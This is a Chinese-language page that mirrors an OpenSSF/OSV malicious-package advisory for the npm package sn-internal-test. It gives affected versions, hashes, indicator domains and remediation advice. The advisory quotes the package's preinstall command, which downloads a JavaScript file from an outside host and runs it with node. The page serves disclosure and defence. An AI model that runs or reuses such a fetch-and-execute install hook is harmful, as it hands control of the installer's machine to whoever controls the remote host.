目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

sn-internal-test

MAL-2026-5645
2026-06-16 01:33:20
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in sn-internal-test (npm)

凭据/密钥窃取安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
9
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmsn-internal-test*
npmsn-internal-test1.9.9
npmsn-internal-test2.1.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-16T01:33:20Z","published":"2026-06-11T12:38:09Z","schema_version":"1.7.4","id":"MAL-2026-5645","aliases":["GHSA-v675-j7jw-p6rm"],"summary":"Malicious code in sn-internal-test (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (215bae963612bf6e45ac8a32644e51b297c72d021048aa58a58fb0a5d0cb396d)\npackage.json declares a preinstall lifecycle script that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js`. On any `npm install` of this package, the installer's machine fetches an unauthenticated, unpinned, mutable JavaScript file from an external author-controlled host and immediately executes it under Node.js with the installer's user privileges, overwriting the package's own index.js. The package describes itself as 'This is our internal app for testing' but is published to the public npm registry with no library functionality — the entire install-time effect is the remote fetch-and-execute. Whatever bytes are served at https://poc.amanrawat.com/hehe.js at install time become arbitrary code running on the installer's machine. The shape is consistent with a dependency-confusion proof-of-concept or active dropper: an internal-sounding name on public npm whose sole behavior is to pull and run remote code.\n\n## Source: ghsa-malware (911b6003b52604acc4b2710df9f978bb93124ca9ffd558f41c6150ce5bb4dd4b)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"sn-internal-test"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.9.9","2.1.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"domains":["poc.amanrawat.com","webhook.site"],"evidence_files":[{"path":"package.json","sha256":"bd886cbd60fe0dba22ab66943bb938f67e019454e34a8e441b39ac537aea7d19","tlsh":"a6e020308a23553745c415e6886b941fd6518e2f04557c0863ab042d81df57754fd31d"}],"package_integrity":[{"filename":"sn-internal-test-1.9.9.tgz","hashes":{"sha1":"003208d03cd50d4f1eb7fd2c203374ec8628d32a","sha512_sri":"sha512-iapPjV0bSDZEYp80p7yADZPKkonSbxIIbyqFrZCs5cvB1mEkVT1lVRcPSvb4J2TiTGTBuJ+lJSGsqKv7QoRL4w=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/sn-internal-test/v/1.9.9"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sn-internal-test/v/2.1.1"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-v675-j7jw-p6rm"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"215bae963612bf6e45ac8a32644e51b297c72d021048aa58a58fb0a5d0cb396d","import_time":"2026-06-11T13:27:19.608506127Z","id":"IN-MAL-2026-005714","modified_time":"2026-06-11T12:38:22Z","versions":["1.9.9"]},{"source":"amazon-inspector","sha256":"7a0d57a0150e9a2783ecf0f9e42dc5e5e75c0e51fc17379ce57f99f9030fc64e","import_time":"2026-06-11T13:27:19.477924367Z","id":"IN-MAL-2026-005713","modified_time":"2026-06-11T12:38:09Z","versions":["2.1.1"]},{"source":"amazon-inspector","sha256":"98382d7051ce015fd4cb0d4970d27ca4e798b333fc5a684ffbfe7af2a3010246","import_time":"2026-06-11T13:27:19.815581075Z","id":"IN-MAL-2026-005715","modified_time":"2026-06-11T12:38:23Z","versions":["1.9.9"]},{"source":"amazon-inspector","sha256":"9ddef31ce3b7bf8d7d393b847307865e78e02846c3ee11c79900cd6e97a44ac4","import_time":"2026-06-11T13:27:19.352219355Z","id":"IN-MAL-2026-005712","modified_time":"2026-06-11T12:38:09Z","versions":["2.1.1"]},{"source":"ghsa-malware","sha256":"911b6003b52604acc4b2710df9f978bb93124ca9ffd558f41c6150ce5bb4dd4b","import_time":"2026-06-16T01:31:34.726486355Z","id":"GHSA-v675-j7jw-p6rm","modified_time":"2026-06-15T23:57:30Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0